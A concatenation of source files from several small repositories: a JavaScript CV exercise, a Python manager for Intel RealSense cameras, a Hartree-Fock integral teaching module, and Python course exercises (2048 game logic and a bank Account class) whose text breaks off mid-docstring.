} else if (xhr.readyState === 4 && xhr.status !== 201) {
console.log("ha existido un error");
}
};
xhr.send(JSON.stringify(data));
}
/* devuelve err_empty_response
function updateData(data) {
xhr.open("PUT", url+'/1', true);
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
console.log(response);
} else if (xhr.readyState === 4 && xhr.status !== 200) {
console.log("ha existido un error");
}
};
xhr.send();
}
*/
//getData();<file_sep>/readme.md
# Freak CV
Práctica Currículum Vítae del módulo de fundamentos HTML5, CSS3 y JS del IV Full Stack Web Developer Bootcamp de KeepCoding.
## Histórico
### 25/02/2018 NO APTO
#### Motivo:
El input de texto largo no valida según requería la práctica.
### 28/02/2108 ENVÍO CORRECCIÓN
#### Comentarios:
Ahora sí valida correctamente, siento no haberlo comprobado a tiempo.
| 21343470488aa781cf52e2391ccbc73605e69d67 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | DanielVillalbaD/CV | 726a044d399cd733ed36444d6937d71ffe00e88b | 6855569817efd51fe9da87cd2976b3eb7f7b8881 |
refs/heads/master | <file_sep>import pyrealsense2 as rs
import numpy as np
from helpers import*
import cv2
from PIL import Image
class DeviceManager:
def __init__(self, context, pipeline_configuration):
"""
Class to manage the Intel RealSense devices
Parameters:
-----------
context : rs.context()
The context created for using the realsense library
pipeline_configuration : rs.config()
The realsense library configuration to be used for the application
"""
assert isinstance(context, type(rs.context()))
assert isinstance(pipeline_configuration, type(rs.config()))
self._context = context
self._available_devices = enumerate_connected_devices(context)
self._enabled_devices = {}
self._config = pipeline_configuration
self._frame_counter = 0
def enable_device(self, device_serial, enable_ir_emitter=True):
"""
Enable an Intel RealSense Device - ie. start the pipeline for that device
Parameters:
-----------
device_serial : string
Serial number of the realsense device
enable_ir_emitter : bool
Enable/Disable the IR-Emitter of the device
"""
pipeline = rs.pipeline()
# Enable the device
self._config.enable_device(device_serial)
pipeline_profile = pipeline.start(self._config)
# Set the acquisition parameters
sensor = pipeline_profile.get_device().first_depth_sensor()
sensor.set_option(rs.option.emitter_enabled, 1 if enable_ir_emitter else 0)
self._enabled_devices[device_serial] = (Device(pipeline, pipeline_profile))
def capture_color_array(self, device_serial):
"""
returns a numpy array for color images for a specified device
"""
device = self._enabled_devices[device_serial]
for i in range(5):
try:
frames = device.pipeline.wait_for_frames()
color_frame = frames.get_color_frame()
color_array = np.asanyarray(color_frame.get_data())
if color_array.any():
return color_array
except RuntimeError:
continue
return None
def display_color_image(self, device_serial):
img = self.capture_color_array(device_serial)
cv2.imwrite('color_img.jpg', cv2.cvtColor(img, cv2.COLOR_BGR2RGB))
cv2.imshow("image", cv2.cvtColor(img, cv2.COLOR_BGR2RGB));
cv2.waitKey();
def save_color_image(self, device_serial):
img = self.capture_color_array(device_serial)
cv2.imwrite('color_img.jpg', cv2.cvtColor(img, cv2.COLOR_BGR2RGB))
def capture_depth_array(self, device_serial):
"""
returns a numpy array for depth images for a specified device
"""
device = self._enabled_devices[device_serial]
for i in range(5):
try:
frames = device.pipeline.wait_for_frames()
depth_frame = frames.get_depth_frame()
depth_array = np.asanyarray(depth_frame.get_data())
if depth_array.any():
return depth_array
except RuntimeError:
continue
return None
def capture_frames(self, device_serial):
"""
returns color and depth frames for a specified device
"""
device = self._enabled_devices[device_serial]
for i in range(5):
try:
frames = device.pipeline.wait_for_frames()
color_frame = frames.get_color_frame()
depth_frame = frames.get_depth_frame()
if color_frame and depth_frame:
return color_frame, depth_frame
except RuntimeError:
continue
return None
def enable_all_devices(self, enable_ir_emitter=True):
"""
Enable all the Intel RealSense Devices which are connected to the PC - ie start the pipelines for all connected devices
"""
print(str(len(self._available_devices)) + " devices have been found")
for serial in self._available_devices:
self.enable_device(serial, enable_ir_emitter)
def enable_emitter(self, enable_ir_emitter):
"""
Enable/disable the emitter of all of the intel realsense devices in the device manager
"""
for (device_serial, device) in self._enabled_devices.items():
# Get the active profile and enable the emitter for all the connected devices
sensor = device.pipeline_profile.get_device().first_depth_sensor()
sensor.set_option(rs.option.emitter_enabled, 1 if enable_ir_emitter else 0)
if enable_ir_emitter:
sensor.set_option(rs.option.laser_power, 330)
def load_settings_json_all(self, path_to_settings_file):
"""
Load the settings stored in the JSON file
"""
print('Loading settings...')
with open(path_to_settings_file, 'r') as file:
json_text = file.read().strip()
for (device_serial, device) in self._enabled_devices.items():
# Get the active profile and load the json file which contains settings readable by the realsense
print(device)
device = device.pipeline_profile.get_device()
advanced_mode = rs.rs400_advanced_mode(device)
advanced_mode.load_json(json_text)
print("Settings successfully loaded to all devices")
def load_settings_json_single(self, device_serial, path_to_settings_file):
"""
Load the settings stored in the JSON file to a single device
"""
print('Loading settings...')
with open(path_to_settings_file, 'r') as file:
json_text = file.read().strip()
device = self._enabled_devices[device_serial]
# Get the active profile and load the json file which contains settings readable by the realsense
device = device.pipeline_profile.get_device()
advanced_mode = rs.rs400_advanced_mode(device)
advanced_mode.load_json(json_text)
print("Settings successfully loaded to device with serial: " + device_serial)
def poll_frames(self):
"""
Poll for frames from the enabled Intel RealSense devices. This will return at least one frame from each device.
If temporal post processing is enabled, the depth stream is averaged over a certain amount of frames
Parameters:
-----------
"""
frames = {}
while len(frames) < len(self._enabled_devices.items()):
for (serial, device) in self._enabled_devices.items():
streams = device.pipeline_profile.get_streams()
frameset = device.pipeline.poll_for_frames() # frameset will be a pyrealsense2.composite_frame object
if frameset.size() == len(streams):
frames[serial] = {}
for stream in streams:
if (rs.stream.infrared == stream.stream_type()):
frame = frameset.get_infrared_frame(stream.stream_index())
key_ = (stream.stream_type(), stream.stream_index())
else:
frame = frameset.first_or_default(stream.stream_type())
key_ = stream.stream_type()
frames[serial][key_] = frame
return frames
def get_depth_shape(self):
"""
Retruns width and height of the depth stream for one arbitrary device
Returns:
-----------
width : int
height: int
"""
width = -1
height = -1
for (serial, device) in self._enabled_devices.items():
for stream in device.pipeline_profile.get_streams():
if (rs.stream.depth == stream.stream_type()):
width = stream.as_video_stream_profile().width()
height = stream.as_video_stream_profile().height()
return width, height
def get_color_shape(self):
"""
Returns width and height of the color stream for one arbitrary device
"""
width = -1
height = -1
for (serial, device) in self._enabled_devices.items():
for stream in device.pipeline_profile.get_streams():
if (rs.stream.color == stream.stream_type()):
width = stream.as_video_stream_profile().width()
height = stream.as_video_stream_profile().height()
return width, height
def get_device_intrinsics(self, frames):
"""
Get the intrinsics of the imager using its frame delivered by the realsense device
Parameters:
-----------
frames : rs::frame
The frame grabbed from the imager inside the Intel RealSense for which the intrinsic is needed
Return:
-----------
device_intrinsics : dict
keys : serial
Serial number of the device
values: [key]
Intrinsics of the corresponding device
"""
device_intrinsics = {}
for (serial, frameset) in frames.items():
device_intrinsics[serial] = {}
for key, value in frameset.items():
device_intrinsics[serial][key] = value.get_profile().as_video_stream_profile().get_intrinsics()
return device_intrinsics
def get_depth_to_color_extrinsics(self, frames):
"""
Get the extrinsics between the depth imager 1 and the color imager using its frame delivered by the realsense device
Parameters:
-----------
frames : rs::frame
The frame grabbed from the imager inside the Intel RealSense for which the intrinsic is needed
Return:
-----------
device_intrinsics : dict
keys : serial
Serial number of the device
values: [key]
Extrinsics of the corresponding device
"""
device_extrinsics = {}
for (serial, frameset) in frames.items():
device_extrinsics[serial] = frameset[
rs.stream.depth].get_profile().as_video_stream_profile().get_extrinsics_to(
frameset[rs.stream.color].get_profile())
return device_extrinsics
def disable_streams(self):
self._config.disable_all_streams()
<file_sep>import pyrealsense2 as rs
"""
HELPER FUNCTIONS
"""
class Device:
def __init__(self, pipeline, pipeline_profile):
self.pipeline = pipeline
self.pipeline_profile = pipeline_profile
def enumerate_connected_devices(context):
"""
Enumerate the connected Intel RealSense devices
Parameters:
-----------
context : rs.context()
The context created for using the realsense library
Return:
-----------
connect_device : array
Array of enumerated devices which are connected to the PC
"""
connect_device = []
for d in context.devices:
if d.get_info(rs.camera_info.name).lower() != 'platform camera':
connect_device.append(d.get_info(rs.camera_info.serial_number))
return connect_device
def post_process_depth_frame(depth_frame, decimation_magnitude=1.0, spatial_magnitude=2.0, spatial_smooth_alpha=0.5,
spatial_smooth_delta=20, temporal_smooth_alpha=0.4, temporal_smooth_delta=20):
"""
Filter the depth frame acquired using the Intel RealSense device
Parameters:
-----------
depth_frame : rs.frame()
The depth frame to be post-processed
decimation_magnitude : double
The magnitude of the decimation filter
spatial_magnitude : double
The magnitude of the spatial filter
spatial_smooth_alpha : double
The alpha value for spatial filter based smoothening
spatial_smooth_delta : double
The delta value for spatial filter based smoothening
temporal_smooth_alpha: double
The alpha value for temporal filter based smoothening
temporal_smooth_delta: double
The delta value for temporal filter based smoothening
Return:
----------
filtered_frame : rs.frame()
The post-processed depth frame
"""
# Post processing possible only on the depth_frame
assert (depth_frame.is_depth_frame())
# Available filters and control options for the filters
decimation_filter = rs.decimation_filter()
spatial_filter = rs.spatial_filter()
temporal_filter = rs.temporal_filter()
filter_magnitude = rs.option.filter_magnitude
filter_smooth_alpha = rs.option.filter_smooth_alpha
filter_smooth_delta = rs.option.filter_smooth_delta
# Apply the control parameters for the filter
decimation_filter.set_option(filter_magnitude, decimation_magnitude)
spatial_filter.set_option(filter_magnitude, spatial_magnitude)
spatial_filter.set_option(filter_smooth_alpha, spatial_smooth_alpha)
spatial_filter.set_option(filter_smooth_delta, spatial_smooth_delta)
temporal_filter.set_option(filter_smooth_alpha, temporal_smooth_alpha)
temporal_filter.set_option(filter_smooth_delta, temporal_smooth_delta)
# Apply the filters
filtered_frame = decimation_filter.process(depth_frame)
filtered_frame = spatial_filter.process(filtered_frame)
filtered_frame = temporal_filter.process(filtered_frame)
return filtered_frame
<file_sep>from realsense_device_manager import*
from helpers import*
c = rs.config()
c.enable_stream(rs.stream.depth, 1280, 720, rs.format.z16, 6)
c.enable_stream(rs.stream.color, 1280, 720, rs.format.rgb8, 6)
device_manager = DeviceManager(rs.context(), c)
device_manager.enable_all_devices()
device_manager.load_settings_json_all('settings.json')
print(enumerate_connected_devices(rs.context()))
| f8e2ba631535ee50bab66adfe6156287fb5aca54 | [
"Python"
] | 3 | Python | TimWatson-Plenty/realsense | 36aa6ceefc0c9861277639d8d381c2d490fe407c | 24e83438d02670e0ca1dd21373c8ecd70f62015a |
refs/heads/main | <repo_name>elambros/plab_qmlec_3<file_sep>/hftools.py
## adapted from https://medium.com/analytics-vidhya/practical-introduction-to-hartree-fock-448fc64c107b
import numpy as np
from numpy import *
import scipy
from scipy.special import erf
import matplotlib.pyplot as plt
def xyz_reader(xyz):
# Reads an xyz file (https://en.wikipedia.org/wiki/XYZ_file_format) and returns the number of atoms,
# atom types and atom coordinates.
number_of_atoms = 0
atom_type = []
atom_coordinates = []
for idx,line in enumerate(xyz.splitlines()):
# Get number of atoms
if idx == 0:
try:
number_of_atoms = line.split()[0]
#print(number_of_atoms)
except:
print("xyz file not in correct format. Make sure the format follows: https://en.wikipedia.org/wiki/XYZ_file_format")
# Skip the comment/blank line
if idx == 1:
continue
# Get atom types and positions
if idx != 0:
split = line.split()
atom = split[0]
coordinates = np.array([float(split[1]),
float(split[2]),
float(split[3])])
atom_type.append(atom)
atom_coordinates.append(coordinates)
return int(number_of_atoms), atom_type, atom_coordinates
def gauss_product(gauss_A, gauss_B):
# The product of two Gaussians gives another Gaussian (pp411)
# Pass in the exponent and centre as a tuple
a, Ra = gauss_A
b, Rb = gauss_B
p = a + b
diff = np.linalg.norm(Ra-Rb)**2 # squared difference of the two centres
N = (4*a*b/(pi**2))**0.75 # Normalisation
K = N*exp(-a*b/p*diff) # New prefactor
Rp = (a*Ra + b*Rb)/p # New centre
return p, diff, K, Rp
# Overlap integral (pp411)
def overlap(A, B):
p, diff, K, Rp = gauss_product(A, B)
prefactor = (pi/p)**1.5
return prefactor*K
# Kinetic integral (pp412)
def kinetic(A,B):
p, diff, K, Rp = gauss_product(A, B)
prefactor = (pi/p)**1.5
a, Ra = A
b, Rb = B
reduced_exponent = a*b/p
return reduced_exponent*(3-2*reduced_exponent*diff)*prefactor*K
# Fo function for calculating potential and e-e repulsion integrals.
# Just a variant of the error function
# pp414
def Fo(t):
if t == 0:
return 1
else:
return (0.5*(pi/t)**0.5)*erf(t**0.5)
# Nuclear-electron integral (pp412)
def potential(A,B,atom_idx,atom_coordinates,atoms,charge_dict):
p,diff,K,Rp = gauss_product(A,B)
Rc = atom_coordinates[atom_idx] # Position of atom C
Zc = charge_dict[atoms[atom_idx]] # Charge of atom C
return (-2*pi*Zc/p)*K*Fo(p*np.linalg.norm(Rp-Rc)**2)
# (ab|cd) integral (pp413)
def multi(A,B,C,D):
p, diff_ab, K_ab, Rp = gauss_product(A,B)
q, diff_cd, K_cd, Rq = gauss_product(C,D)
multi_prefactor = 2*pi**2.5*(p*q*(p+q)**0.5)**-1
return multi_prefactor*K_ab*K_cd*Fo(p*q/(p+q)*np.linalg.norm(Rp-Rq)**2)
def calculate_integrals(zeta_dict, max_quantum_number, D, alpha, charge_dict, N_atoms, atoms, atom_coordinates, STOnG, B, N):
#global zeta_dict, max_quantum_number, D, alpha, charge_dict, N_atoms, atoms, atom_coordinates, STOng, B, N
# Initialise matrices
S = np.zeros((B,B))
T = np.zeros((B,B))
V = np.zeros((B,B))
multi_electron_tensor = np.zeros((B,B,B,B))
gcfl = []
# Iterate through atoms
for idx_a, val_a in enumerate(atoms):
# For each atom, get the charge and centre
Za = charge_dict[val_a]
Ra = atom_coordinates[idx_a]
# Iterate through quantum numbers (1s, 2s etc)
for m in range(max_quantum_number[val_a]):
# For each quantum number, get the contraction
# coefficients, then get zeta,
# then scale the exponents accordingly (pp158)
d_vec_m = D[m]
zeta = zeta_dict[val_a][m]
alpha_vec_m = alpha[m]*zeta**2
gcfl.append({val_a:[alpha_vec_m,d_vec_m]})
# Iterate over the contraction coefficients
for p in range(STOnG):
# Iterate through atoms once again (more info in blog post)
for idx_b, val_b in enumerate(atoms):
Zb = charge_dict[val_b]
Rb = atom_coordinates[idx_b]
for n in range(max_quantum_number[val_b]):
d_vec_n = D[n]
zeta = zeta_dict[val_b][n]
alpha_vec_n = alpha[n]*zeta**2
for q in range(STOnG):
# This indexing is explained in the blog post.
# In short, it is due to Python indexing
# starting at 0.
a = (idx_a+1)*(m+1)-1
b = (idx_b+1)*(n+1)-1
# Generate the overlap, kinetic and potential matrices
S[a,b] += d_vec_m[p]*d_vec_n[q]*overlap((alpha_vec_m[p],Ra),(alpha_vec_n[q],Rb))
T[a,b] += d_vec_m[p]*d_vec_n[q]*kinetic((alpha_vec_m[p],Ra),(alpha_vec_n[q],Rb))
for i in range(N_atoms):
V[a,b] += d_vec_m[p]*d_vec_n[q]*potential((alpha_vec_m[p],Ra),(alpha_vec_n[q],Rb),i,atom_coordinates,atoms,charge_dict)
# 2 more iterations to get the multi-electron-tensor
for idx_c, val_c in enumerate(atoms):
Zc = charge_dict[val_c]
Rc = atom_coordinates[idx_c]
for k in range(max_quantum_number[val_c]):
d_vec_k = D[k]
zeta = zeta_dict[val_c][k]
alpha_vec_k = alpha[k]*zeta**2
for r in range(STOnG):
for idx_d, val_d in enumerate(atoms):
Zd = charge_dict[val_d]
Rd = atom_coordinates[idx_d]
for l in range(max_quantum_number[val_d]):
d_vec_l = D[l]
zeta = zeta_dict[val_d][l]
alpha_vec_l = alpha[l]*zeta**2
for s in range(STOnG):
c = (idx_c+1)*(k+1)-1
d = (idx_d+1)*(l+1)-1
multi_electron_tensor[a,b,c,d] += d_vec_m[p]*d_vec_n[q]*d_vec_k[r]*d_vec_l[s]*(
multi((alpha_vec_m[p],Ra),
(alpha_vec_n[q],Rb),
(alpha_vec_k[r],Rc),
(alpha_vec_l[s],Rd))
)
return S,T,V,multi_electron_tensor,gcfl
def orthoganalize_basis(S):
evalS, U = np.linalg.eig(S)
diagS = dot(U.T,dot(S,U))
diagS_minushalf = diag(diagonal(diagS)**-0.5)
X = dot(U,dot(diagS_minushalf,U.T))
return(X)
def SD_successive_density_matrix_elements(Ptilde,P,B):
x = 0
for i in range(B):
for j in range(B):
x += B**-2*(Ptilde[i,j]-P[i,j])**2
return x**0.5
def get_coeffs_and_eigenvalues(Fock, X):
# Calculate Fock matrix in orthogonalised base
Fockprime = dot(X.T,dot(Fock, X))
evalFockprime, Cprime = np.linalg.eig(Fockprime)
#Correct ordering of eigenvalues and eigenvectors (starting from ground MO as first column of C, else we get the wrong P)
idx = evalFockprime.argsort()
evalFockprime = evalFockprime[idx]
Cprime = Cprime[:,idx]
C = dot(X,Cprime)
return C, evalFockprime
def g1(alpha,r,Ra):
return np.exp(-alpha*np.linalg.norm(r-Ra)**2)
def CGF(a,d,r,Ra):
#print(g1(a[0],r,Ra))
return d[0]*g1(a[0],r,Ra) + d[1]*g1(a[1],r,Ra) + d[2]*g1(a[2],r,Ra)
def dens(a1,a2,d,r,Ra,Rb,P):
return P[0,0]*CGF(a1,d,r,Ra)*CGF(a1,d,r,Ra)+ P[1,1]*CGF(a2,d,r,Rb)*CGF(a2,d,r,Rb)+2*P[0,1]*CGF(a1,d,r,Ra)*CGF(a2,d,r,Rb)
def orb_antibond(a1,a2,d,r,Ra,Rb,C):
return -C[0,1]*CGF(a1,d,r,Ra)+ -C[1,1]*CGF(a2,d,r,Rb)
def orb_bond(a1,a2,d,r,Ra,Rb,C):
return -C[0,0]*CGF(a1,d,r,Ra)+ -C[1,0]*CGF(a2,d,r,Rb)
def plot_dens(a1,a2,dvec,Ra,Rb,P):
yq, xq = np.meshgrid(np.linspace(-3, 3, 100), np.linspace(-3, 3, 100))
#z = dens(a1,a2,dvec,np.array([x,y,0]),Ra,Rb,P)
#z = dens(a1,a2,dvec,np.array([x,0,y]),Ra,Rb,P)
zq = dens(a2,a1,dvec,np.array([0,xq,yq]),Ra,Rb,P)
# x and y are bounds, so z should be the value *inside* those bounds.
# Therefore, remove the last value from the z array.
zq = zq[:-1, :-1]
fig, ax = plt.subplots()
c = ax.pcolormesh(xq, yq, zq, cmap='RdBu', vmin=0, vmax=1.5)
ax.set_title('HeH+ density')
# set the limits of the plot to the limits of the data
ax.axis([xq.min(), xq.max(), yq.min(), yq.max()])
fig.colorbar(c, ax=ax)
plt.show()
def plot_orb_bond(a1,a2,dvec,Ra,Rb,C):
yq, xq = np.meshgrid(np.linspace(-3, 3, 100), np.linspace(-3, 3, 100))
#z = dens(a1,a2,dvec,np.array([x,y,0]),Ra,Rb,P)
#z = dens(a1,a2,dvec,np.array([x,0,y]),Ra,Rb,P)
zq = orb_bond(a2,a1,dvec,np.array([0,xq,yq]),Ra,Rb,C)
# x and y are bounds, so z should be the value *inside* those bounds.
# Therefore, remove the last value from the z array.
zq = zq[:-1, :-1]
fig, ax = plt.subplots()
c = ax.pcolormesh(xq, yq, zq, cmap='RdBu', vmin=-1, vmax=1)
ax.set_title('HeH+ bonding orbital')
# set the limits of the plot to the limits of the data
ax.axis([xq.min(), xq.max(), yq.min(), yq.max()])
fig.colorbar(c, ax=ax)
plt.show()
def plot_orb_antibond(a1,a2,dvec,Ra,Rb,C):
yq, xq = np.meshgrid(np.linspace(-3, 3, 100), np.linspace(-3, 3, 100))
#z = dens(a1,a2,dvec,np.array([x,y,0]),Ra,Rb,P)
#z = dens(a1,a2,dvec,np.array([x,0,y]),Ra,Rb,P)
zq = orb_antibond(a1,a2,dvec,np.array([0,xq,yq]),Ra,Rb,C)
# x and y are bounds, so z should be the value *inside* those bounds.
# Therefore, remove the last value from the z array.
zq = zq[:-1, :-1]
fig, ax = plt.subplots()
c = ax.pcolormesh(xq, yq, zq, cmap='RdBu', vmin=-1, vmax=1)
ax.set_title('HeH+ antibonding orbital')
# set the limits of the plot to the limits of the data
ax.axis([xq.min(), xq.max(), yq.min(), yq.max()])
fig.colorbar(c, ax=ax)
plt.show()
<file_sep>/initialize.py
# Basis set variables
import numpy as np
# STO-nG (number of gaussians used to form a contracted gaussian orbital - pp153)
#STOnG = 3
global zeta_dict, max_quantum_number, D, alpha, charge_dict
# Dictionary of zeta values (pp159-160, 170)
zeta_dict = {'H': [1.24], 'He':[2.0925], 'Li':[2.69,0.80],'Be':[3.68,1.15],
'B':[4.68,1.50],'C':[5.67,1.72]} #Put zeta number in list to accomodate for possibly more basis sets (eg 2s orbital)
# Dictionary containing the max quantum number of each atom,
# for a minimal basis STO-nG calculation
max_quantum_number = {'H':1,'He':1,'Li':2,'Be':2,'C':2}
# Gaussian contraction coefficients (pp157)
# Going up to 2s orbital (<NAME>, <NAME>, and <NAME>. J. Chem. Phys. 51, 2657 (1969))
# Row represents 1s, 2s etc...
D = np.array([[0.444635, 0.535328, 0.154329],
[0.700115,0.399513,-0.0999672]])
# Gaussian orbital exponents (pp153)
# Going up to 2s orbital (<NAME>, <NAME>, and <NAME>. J. Chem. Phys. 51, 2657 (1969))
alpha = np.array([[0.109818, 0.405771, 2.22766],
[0.0751386,0.231031,0.994203]])
# Basis set size
#B = 0
#for atom in atoms:
# B += max_quantum_number[atom]
# Other book-keeping
# Number of electrons (Important!!)
#N = 2
# Keep a dictionary of charges
charge_dict = {'H': 1, 'He': 2, 'Li':3, 'Be':4,'B':5,'C':6,'N':7,'O':8,'F':9,'Ne':10}
| d50049f28e449539d82655695bf50dbdcd1cd109 | [
"Python"
] | 2 | Python | elambros/plab_qmlec_3 | 841c8e70b6607cb155729b2cfdb379e77738abdb | 021fec7cc325ac706cacd3acab93d582cec942cd |
refs/heads/master | <repo_name>hyunjaemoon/pythonteaching<file_sep>/Winter 2017/2048/logic.py
from random import *
#######
#Task 1a#
#######
#Question 1
def new_game(n):
"""Returns a nxn matrix with all entries of zeros
Purpose: To initiate the 2048 game!
>>> new_game(1)
[[0]]
>>> new_game(2)
[[0, 0], [0, 0]]
>>> new_game(3)
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
"""
"***YOUR CODE HERE***"
###########
# Task 1b #
###########
#Question 2
def add_two_fixed(mat):
"""Mutate and Return a modified matrix 'mat' with the number 2 added to
the matrix. It is important that you must mutate the input mat.
Purpose: After each move, a block '2' must be added to continue the game.
IMPORTANT NOTE: Although the original 2048 game adds the number 2 randomly,
it is impossible to check the accuracy of the code for randomness. So I
would suggest adding the number 2 as you encounter the smallest row with
a zero entry. Check the test cases to make more sense.
IMPORTANT NOTE 2: DO MODIFY THE INPUT MAT
>>> add_two_fixed([[0]])
[[2]]
>>> add_two_fixed([[2, 2, 2], [2, 2, 2], [2, 2, 0]])
[[2, 2, 2], [2, 2, 2], [2, 2, 2]]
>>> add_two_fixed([[2, 0, 2], [0, 2, 2], [2, 2, 2]])
[[2, 2, 2], [0, 2, 2], [2, 2, 2]]
>>> add_two_fixed([[0, 0], [0, 0]])
[[2, 0], [0, 0]]
"""
"***YOUR CODE HERE***"
#The function add_two will be the one that will be used for the puzzle.py demonstration.
def add_two(mat):
a=randint(0,len(mat)-1)
b=randint(0,len(mat)-1)
while(mat[a][b]!=0):
a=randint(0,len(mat)-1)
b=randint(0,len(mat)-1)
mat[a][b]=2
return mat
###########
# Task 1c #
###########
#Question 3
def game_state(mat):
"""Return either 'win', 'not over', or 'lose' based on the matrix given.
The description of the condition are as followed:
'win': If you have at least 1 entry with 2048, you will return 'win'
'not over': 1. If there exists a same number on subsequent rows or columns, you will return 'not over'
2. If there exists a zero entry, you will return 'not over'
'lose': If either 'win' or 'not over' conditions are not satisfied, you will return 'lose'
Check the test cases to make more sense
Purpose: After each move, the game can decide whether you've finished the game or not.
>>> game_state([[0, 0, 0, 0],[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 2048]])
'win'
>>> game_state([[2, 4, 2, 4],[4, 2, 2048, 2], [4, 2, 2, 2], [4, 4, 2, 4]])
'win'
>>> game_state([[2, 4, 2, 4], [4, 2, 4, 2], [2, 4, 2, 4], [4, 2, 8, 8]])
'not over'
>>> game_state([[2, 4, 2, 4], [4, 0, 4, 2], [2, 4, 2, 4], [4, 2, 4, 2]])
'not over'
>>> game_state([[2, 4, 2, 4], [4, 2, 4, 2], [2, 4, 2, 8], [4, 2, 4, 8]])
'not over'
>>> game_state([[2, 4, 2, 4], [4, 2, 4, 2], [2, 4, 2, 4], [4, 2, 4, 2]])
'lose'
"""
"***YOUR CODE HERE***"
###########
# Task 2a #
###########
def reverse(mat):
"""Return a new matrix where each row is flipped in reverse.
Purpose: Based on your movements, (up, down, left, right), We will be using
reverse and transpose functions so that we could unify the merge and cover_up
functions later on. For better understanding please check the up, down, left,
and right implementation on the very bottom of logic.py
IMPORTANT NOTE: DO NOT MODIFY THE INPUT MAT
>>> reverse([[3, 2, 1], [6, 5, 4], [9, 8 ,7]])
[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
>>> reverse([[1, 0], [0, 2]])
[[0, 1], [2, 0]]
"""
"***YOUR CODE HERE***"
###########
# Task 2b #
###########
def transpose(mat):
""" Return a new matrix, which is a transpose of the input mat.
Purpose: same as reverse
IMPORTANT NOTE: DO NOT MODIFY THE INPUT MAT
>>> transpose([[1, 3], [2, 4]])
[[1, 2], [3, 4]]
>>> transpose([[1, 0, 0], [0, 1, 0], [0, 0, 1]])
[[1, 0, 0], [0, 1, 0], [0, 0, 1]]
>>> transpose([[1, 4, 7], [2, 5, 8], [3, 6, 9]])
[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
"""
"***YOUR CODE HERE***"
##########
# Task 3 #
##########
def cover_up(mat):
"""Return a tuple of a matrix and a boolean. For a matrix, you will push
all the entries to the left. For a boolean, you will put True if at least
one number is pushed. A tuple is a sequence of immutable Python objects,
use round parentheses: (1, 2) or ([1], True)
Purpose: Based on the user input, the matrix will change its entries by
pushing and merging. You will implement the pushing part here. By having
the boolean, you can decide whether the user input does nothing or something.
IMPORTANT NOTE: DO NOT MODIFY THE INPUT MAT
>>> cover_up([[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]])
([[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], False)
>>> cover_up([[2, 4, 2, 4], [4, 2, 4, 2], [2, 4, 2, 4], [4, 2, 4, 0]])
([[2, 4, 2, 4], [4, 2, 4, 2], [2, 4, 2, 4], [4, 2, 4, 0]], False)
>>> cover_up([[2, 0, 4, 0], [2, 0, 2, 0], [0, 4, 0, 8], [2, 0, 8, 0]])
([[2, 4, 0, 0], [2, 2, 0, 0], [4, 8, 0, 0], [2, 8, 0, 0]], True)
>>> cover_up([[2, 0, 2, 0], [0, 0, 0, 16], [2, 4, 0, 0], [0, 0, 16, 0]])
([[2, 2, 0, 0], [16, 0, 0, 0], [2, 4, 0, 0], [16, 0, 0, 0]], True)
"""
"***YOUR CODE HERE***"
def merge(mat):
"""Return a tuple of a matrix and a boolean. For a matrix, you will merge
the numbers that are next to each other and place it on the left. For a boolean,
you will put True if at least one number is merged.
Purpose: Similar to cover_up, you will implement the merging part here.
IMPORTANT NOTE: DO MODIFY THE INPUT MAT
>>> merge([[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]])
([[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], False)
>>> merge([[2, 2, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]])
([[4, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], True)
>>> merge([[2, 2, 2, 2], [4, 4, 4, 2], [2, 0, 2, 0], [2, 0, 0, 2]])
([[4, 0, 4, 0], [8, 0, 4, 2], [2, 0, 2, 0], [2, 0, 0, 2]], True)
>>> merge([[2, 4, 0, 0], [2, 0, 0, 0], [4, 2, 0, 0], [2, 4, 2, 0]])
([[2, 4, 0, 0], [2, 0, 0, 0], [4, 2, 0, 0], [2, 4, 2, 0]], False)
"""
"***YOUR CODE HERE***"
#I didn't have time to create test cases for questions below, so I've provided
#the codes below. Please understand the purpose of the functions below.
def up(game):
print("up")
# return matrix after shifting up
game=transpose(game)
game,done=cover_up(game)
temp=merge(game)
game=temp[0]
done=done or temp[1]
game=cover_up(game)[0]
game=transpose(game)
return (game,done)
def down(game):
print("down")
game=reverse(transpose(game))
game,done=cover_up(game)
temp=merge(game)
game=temp[0]
done=done or temp[1]
game=cover_up(game)[0]
game=transpose(reverse(game))
return (game,done)
def left(game):
print("left")
# return matrix after shifting left
game,done=cover_up(game)
temp=merge(game)
game=temp[0]
done=done or temp[1]
game=cover_up(game)[0]
return (game,done)
def right(game):
print("right")
# return matrix after shifting right
game=reverse(game)
game,done=cover_up(game)
temp=merge(game)
game=temp[0]
done=done or temp[1]
game=cover_up(game)[0]
game=reverse(game)
return (game,done)
<file_sep>/Winter 2017/lec6/codingpractice.py
class Account:
"""An account has a balance and a holder.
>>> a = Account('John')
>>> a.deposit(10)
10
>>> a.balance
10
>>> a.interest
0.02
>>> a.time_to_retire(10.25) # 10 -> 10.2 -> 10.404
2
>>> a.balance # balance should not change
10
>>> a.time_to_retire(11) # 10 -> 10.2 -> ... -> 11.040808032
5
>>> a.time_to_retire(100)
117
"""
interest = 0.02 # A class attribute
def __init__(self, account_holder):
self.holder = account_holder
self.balance = 0
def deposit(self, amount):
"""Add amount to balance."""
self.balance = self.balance + amount
return self.balance
def withdraw(self, amount):
"""Subtract amount from balance if funds are available."""
if amount > self.balance:
return 'Insufficient funds'
self.balance = self.balance - amount
return self.balance
def time_to_retire(self, amount):
"""Return the number of years until balance would grow to amount."""
assert self.balance > 0 and amount > 0 and self.interest > 0
"*** YOUR CODE HERE ***"
class FreeChecking(Account):
"""A bank account that charges for withdrawals, but the first two are free!
>>> ch = FreeChecking('Jack')
>>> ch.balance = 20
>>> ch.withdraw(100) # First one's free
